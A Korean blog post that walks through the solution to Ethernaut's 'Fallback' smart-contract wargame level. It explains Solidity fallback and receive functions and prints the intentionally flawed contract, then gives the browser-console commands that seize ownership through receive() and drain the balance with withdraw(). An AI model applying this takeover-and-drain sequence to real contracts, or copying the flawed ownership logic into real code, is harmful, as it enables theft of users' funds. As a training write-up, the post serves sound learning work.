티스토리 뷰

Solidity/Hacking

[Ethernaut] 1. Fallback

piatoss 2024. 1. 4. 17:03

1. 문제

아래의 컨트랙트 코드를 잘 살펴보고 다음의 문제를 해결하자.

    1. 컨트랙트의 소유권을 탈취해라.
    2. 컨트랙트의 이더 잔액(balance)을 0으로 만들어라.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

2. Fallback 함수

 fallback 함수는 컨트랙트에 정의되어 있지 않은 함수가 호출될 경우 자동으로 호출되는 함수입니다. 예를 들어, 계정 간의 이더를 전송하는 transfer 함수를 컨트랙트를 대상으로 실행했을 때 이는 컨트랙트 내부에 정의된 함수가 아닌 외부 함수이기 때문에 fallback 함수가 실행됩니다.

 

 fallback 함수에는 fallback, receive 두 가지가 존재하는데, 메시지에 데이터(calldata)가 담겨 있으면 fallback이 호출되고, 비어있으면 receive가 호출되는 정도의 차이를 가지고 있습니다.

Fallback 함수 테스트

Remix IDE에서 실행해 보세요.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.19;

import "hardhat/console.sol";

contract Fallback {
    fallback() external payable {
        console.log("fallback!");
        console.logBytes(msg.data);
    }

    receive() external payable {
        console.log("receive!");
    }
}

1. calldata가 비어있는 경우

receive 호출

2. calldata에 데이터가 들어있는 경우

fallback 호출

3. receive 또는 fallback 하나만 존재할 경우

3-1. fallback만 있는데 calldata가 비어있는 경우

fallback 호출

3-2. receive만 있는데 calldata가 들어있는 경우

calldata를 읽어들일 수 없다
트랜잭션 실행 자체가 안된다!

4. 결론

calldata가 들어가야 한다 > fallback 사용
calldata 없어도 된다 > 둘 다 사용 가능

3. 컨트랙트의 소유권 탈취

 컨트랙트 코드를 살펴보면 소유권을 탈취할 수 있는 방법은 두 가지가 있는 것을 확인할 수 있습니다.

1. contribute 함수를 활용

mapping(address => uint) public contributions;
address public owner;
function contribute() public payable {
  require(msg.value < 0.001 ether);
  contributions[msg.sender] += msg.value;
  if(contributions[msg.sender] > contributions[owner]) {
    owner = msg.sender;
  }
}

 함수의 if 절을 확인하면, 함수를 호출한 sender의 기여도가 owner보다 클 경우에 소유권을 sender에게 넘겨주게 되어 있습니다.

constructor() {
  owner = msg.sender;
  contributions[msg.sender] = 1000 * (1 ether);
}

 그런데 보시다시피 컨트랙트를 생성할 때 owner의 기여도를 무려 1000 이더로 설정해 놓았기 때문에 이 방법은 사실상 불가능한 방법입니다. 또한 한 번에 전송할 수 있는 이더의 양이 0.001 미만이어야 하므로 무한으로 즐겨야 하는 상황에 놓이게 됩니다. 소유권을 탈취하기 어렵게 만들기 위해 이런 식으로 설계를 한 것 같습니다.

2. Fallback 함수를 활용

receive() external payable {
  require(msg.value > 0 && contributions[msg.sender] > 0);
  owner = msg.sender;
}

 앞서 fallback 함수를 다룬 이유가 여기 있습니다. 이 컨트랙트는 외부 함수로 이더를 송금받으면 fallback 함수를 통해 sender에게 컨트랙트의 소유권을 넘겨주도록 설계되어 있습니다. 이렇게 쉽게 소유권을 넘겨줄거면 contribue 함수에서 짤짤이로 무한반복하게 하는 설계도 아무런 의미가 없어지는 것이죠.

 

 한 가지 주의할 점은 receive 함수가 동작하기 위해서는 require 문에 명시되어 있다시피 먼저 극소량이라도 기여도를 올려놓아야 합니다.


4. 컨트랙트의 이더 잔액을 0으로 만들기

 문제 해결의 두 번째 조건으로 컨트랙트의 이더 잔액을 0으로 만들어야 한다고 명시되어 있습니다. 이 부분은 컨트랙트의 소유권을 탈취하고 withdraw 함수를 호출하기만 하면 달성되므로 어려운 점은 없습니다.

function withdraw() public onlyOwner {
  payable(owner).transfer(address(this).balance);
}

5. 문제 해결하기

 먼저 기여도를 쌓아야 합니다. 콘솔창에서 다음과 같이 코드를 입력하고 실행합니다.

await contract.contribute({value: toWei("0.00001")})

트랜잭션 컨펌

 

 트랜잭션을 컨펌하고 잠시 기다리면 트랜잭션 해시값이 콘솔창에 출력되고, 그러고 나면 기여도를 확인할 수 있습니다.

 

 다음으로 컨트랙트로 이더를 전송해 보겠습니다. help 명령어를 실행하면 사용할 수 있는 명령어 목록이 출력됩니다. 이더를 전송하기 위해서는 sendTransaction 명령어를 사용합니다.

await sendTransaction({from: player, to: instance, value: toWei("0.00000000000001")})

 

 트랜잭션이 컨펌되고 나면 다음과 같이 소유권을 확인합니다.

소유권 탈취 확인

 

 마지막!으로 withdraw 함수를 호출하여 컨트랙트의 이더 잔액을 모두 빼옵니다.

await contract.withdraw()

 

아니...

 이거 왜 취소도 안되고 가속화도 안되는데... 나 문제 풀었으니까 좀 보내줘...

 

*아무튼 해결함. 결과 업데이트 예정*

일시 미정

 

1월 5일 오전 8시 44분 추가

 자고 일어나니까 트랜잭션이 컨펌되어 있었습니다. 제출까지 완료.


6. 결론

fallback 함수, 제대로 알고 사용하자. 당신의 소유권, 휴지 조각으로 대체되었다.

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 5. Token  (0) 2024.01.15
[Ethernaut] 4. Telephone  (0) 2024.01.08
[Ethernaut] 3. CoinFlip  (0) 2024.01.07
[Ethernaut] 2. Fallout  (2) 2024.01.05
[Ethernaut] 0. Hello Ethernaut  (1) 2024.01.04
최근에 올라온 글
최근에 달린 댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Total
Today
Yesterday
글 보관함